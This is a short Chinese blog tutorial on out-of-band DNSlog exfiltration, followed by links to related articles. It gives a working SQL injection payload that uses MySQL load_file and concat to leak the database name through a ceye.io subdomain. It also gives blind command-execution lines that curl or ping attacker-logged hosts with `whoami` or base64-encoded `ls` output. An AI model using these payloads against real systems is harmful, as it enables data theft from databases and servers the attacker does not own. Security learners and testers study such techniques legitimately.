美文网首页
Dnslog注入

Dnslog注入

作者: nohands_noob | 来源:发表于2019-11-06 19:41 被阅读0次

Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog记录显示我们的注入结果

Dnslog注入可以减少请求,直接回显信息

注入需要用到mysql的load_file()函数,使用
show variables like '%secure%';查看信息

secure_file_priv表示load_file()允许导入导出的路径
在windows上需要配置my.ini文件,添加
secure_file_priv="",重启
linux不知道怎么弄....

http://ceye.io注册个账号,获取dnslog日志记录
注册后我们会获得一个子域名,为xxx.ceye.io

当我们访问test.xxx.ceye.io后,在日志中已经记录了该请求


回到sql注入中,利用load_file,实现信息获取
栗子:mysql执行select load_file('\\\\helloworld.xxx.ceye.io\\aa');
  日志中的结果:

利用该方法获取数据库名:

 and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)

执行后查看日志,日志中显示出了库名


此外dnslog可以执行无回显的命令执行
执行命令curl http://linux.xxxx.ceye.io//`whoami` 或者
ping `whoami`.xxx.ceye.io

当然,这样执行ls会出问题,把他base64编码并且把回车‘/n’,换成 ‘-’ 再访问
curl http://linux.xxx.ceye.io//`ls|base64|tr '\n' '-'`
拿到结果后去掉 ‘-’ 再解码就好了

相关文章

  • dnslog注入

    condition:Windows+MYSQL https://github.com/ADOOO/DnslogSq...

  • Dnslog注入

    Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog记录显示我们的注入结果 Dnslog...

  • 面试精华问题

    问:Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何? 答: ...

  • SQL注入

    用户输入数据被当成了代码被执行原则有回显:union select、报错注入无回显:dnslog, time-ba...

  • 【Java开发记录】Dnslog访问记录模块实现(六)

    【Java开发记录】Dnslog访问记录模块实现(六) 目的访问dnslog记录读取,dnslog访问记录自动获取...

  • 利用dnslog进行无回显注入

    原理 在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读...

  • 搭建Dnslog平台和Sqlmap使用Dns注入

    一、前言 最近的一些测试项目经常会遇到基于时间的盲注(time-blind),即便使用sqlmap工具也是很耗时的...

  • Dnslog盲注

    01 背景知识 1. 什么是DNS? DNS的全称是Domain Name System(网络名称系统),它作为将...

  • 某师范大学新闻传媒系统命令执行到内网渗透

    漏洞地址:http://xxxx.xxxx.com 返回DNSLOG 成功反弹shell root权限 MSF上线...

  • 【WHL】DNSLOG_WHL

    WHL调度 WHL细节 cookiejar的存储和读取由pickle序列化与反序列化完成,headers采用随机库...

网友评论

      本文标题:Dnslog注入

      本文链接:https://www.haomeiwen.com/subject/qfqpbctx.html